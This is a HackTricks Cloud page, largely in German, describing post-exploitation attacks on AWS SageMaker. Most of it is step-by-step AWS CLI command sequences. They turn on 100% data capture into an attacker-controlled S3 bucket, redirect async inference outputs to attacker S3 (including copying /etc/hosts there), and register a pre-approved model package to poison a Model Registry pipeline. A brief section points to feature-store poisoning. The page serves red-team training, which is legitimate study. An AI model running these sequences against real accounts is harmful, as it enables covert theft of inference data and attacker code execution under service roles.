AWS - SageMaker Post-Exploitation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Missbrauche SageMaker Endpoint-Management, um vollständige Request-/Response-Erfassung in einen vom Angreifer kontrollierten S3-Bucket zu ermöglichen, ohne das Modell oder den Container zu verändern. Verwendet ein Rolling-Update mit null/geringer Ausfallzeit und erfordert nur Endpoint-Management-Berechtigungen.
Voraussetzungen
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(oder benutze einen vorhandenen Bucket im selben Account) - Optional (bei Verwendung von SSE‑KMS):
kms:Encryptauf dem ausgewählten CMK - Ziel: Ein vorhandener InService Echtzeit-Endpoint im selben Account/Region
Schritte
- Identifiziere einen InService-Endpoint und sammle die aktuellen Produktionsvarianten
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- Bereite attacker S3-Ziel für captures vor
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- Erstelle eine neue EndpointConfig, die die gleichen Varianten beibehält, aber DataCapture für den attacker bucket aktiviert
Hinweis: Verwende explizite Content-Types, die der CLI-Validierung genügen.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Wende die neue Konfiguration mit einem Rolling-Update an (minimale/keine Ausfallzeit)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Erzeuge mindestens einen Inferenz-Aufruf (optional, falls Live-Traffic vorhanden ist)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Validiere captures in attacker S3
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Auswirkungen
- Vollständige Exfiltration von Echtzeit-Inferenz‑Anfrage- und Antwort-payloads (und Metadaten) vom angegriffenen Endpoint in ein vom Angreifer kontrolliertes S3-Bucket.
- Keine Änderungen am Modell/Container-Image und nur Änderungen auf Endpoint‑Ebene, wodurch ein unauffälliger Daten-Diebstahlpfad mit minimalen betrieblichen Störungen entsteht.
SageMaker async inference output hijack über UpdateEndpoint AsyncInferenceConfig
Missbrauche die Endpoint-Verwaltung, um asynchrone Inferenz-Ausgaben in ein vom Angreifer kontrolliertes S3-Bucket umzuleiten, indem du die aktuelle EndpointConfig klonst und AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath setzt. Dadurch werden Modellvorhersagen (und alle vom Container transformierten Eingaben) exfiltriert, ohne das Modell/Container zu ändern.
Anforderungen
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: Möglichkeit, in das vom Angreifer kontrollierte S3-Bucket zu schreiben (über die Modell‑Ausführungsrolle oder eine zu großzügige Bucket‑Policy)
- Ziel: Ein InService-Endpoint, bei dem asynchrone Aufrufe verwendet werden (oder verwendet werden sollen)
Schritte
- Sammle die aktuellen ProductionVariants vom Ziel-Endpoint
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- Erstelle einen attacker bucket (stelle sicher, dass die model execution role PutObject darauf ausführen kann)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- EndpointConfig klonen und hijack AsyncInference outputs zum attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Eine asynchrone Invocation auslösen und überprüfen, dass Objekte im S3-Bucket des Angreifers landen
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Auswirkungen
- Leitet asynchrone Inference-Ergebnisse (und Fehlerantworten) an vom Angreifer kontrolliertes S3 um, ermöglicht die verdeckte Exfiltration von predictions und potenziell sensiblen pre-/post-verarbeiteten Eingaben, die vom Container erzeugt werden, ohne Modellcode oder Image zu ändern und mit minimaler/keiner Ausfallzeit.
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
Anforderungen
- IAM (Minimum, um eine bestehende Gruppe zu vergiften):
sagemaker:CreateModelPackageon the target ModelPackageGroup - Optional (um eine Gruppe zu erstellen, falls noch keine existiert):
sagemaker:CreateModelPackageGroup - S3: Lesezugriff auf die referenzierte ModelDataUrl (oder Hosten von vom Angreifer kontrollierten Artefakten)
- Ziel: Eine Model Package Group, die von nachgelagerter Automation auf Approved-Versionen überwacht wird
Schritte
- Region setzen und eine Ziel-Model Package Group erstellen/finden
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- Dummy-Modelldaten in S3 vorbereiten
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Registriere eine bösartige (hier harmlos) Approved model package version, die auf ein öffentliches AWS DLC image verweist
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Überprüfe, dass die neue Approved-Version existiert
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Auswirkungen
- Poison the Model Registry mit einer Approved-Version, die auf vom Angreifer kontrollierten Code verweist. Pipelines, die Approved models automatisch deployen, können das Image des Angreifers ziehen und ausführen, wodurch Codeausführung unter endpoint/training roles möglich wird.
- Mit einer zu großzügigen ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kann dieser Missbrauch cross-account ausgelöst werden.
Feature store poisoning
Missbrauche sagemaker:PutRecord auf einer Feature Group mit aktivierter OnlineStore, um live Feature-Werte zu überschreiben, die von online inference verwendet werden. In Kombination mit sagemaker:GetRecord kann ein Angreifer sensitive Features auslesen. Dafür ist kein Zugriff auf models oder endpoints erforderlich.
{{#ref}} feature-store-poisoning.md {{/ref}}
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

